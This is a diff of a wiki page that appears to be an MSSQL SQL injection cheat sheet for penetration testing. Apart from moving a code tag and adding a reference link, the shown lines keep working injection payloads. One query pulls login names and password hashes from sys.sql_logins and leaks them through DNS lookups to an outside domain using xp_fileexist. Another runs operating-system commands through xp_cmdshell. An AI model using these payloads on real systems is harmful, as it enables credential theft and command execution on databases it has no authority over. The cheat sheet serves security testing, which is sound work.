Differences

This shows you the differences between two versions of the page.

--- hacking:sql_injection_cheat_sheet_mssql [2020/04/01 10:09] – peter
+++ hacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1
@@ Line 65: / Line 65: @@
 declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005
-</code>-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
--- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]|
+-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
+-- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]
+</code>|
 |Command Execution|<code>
 EXEC xp_cmdshell 'net user'; -- priv
@@ Line 94: / Line 95: @@
 tempdb
 </code>|
+----
+===== References =====
+https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql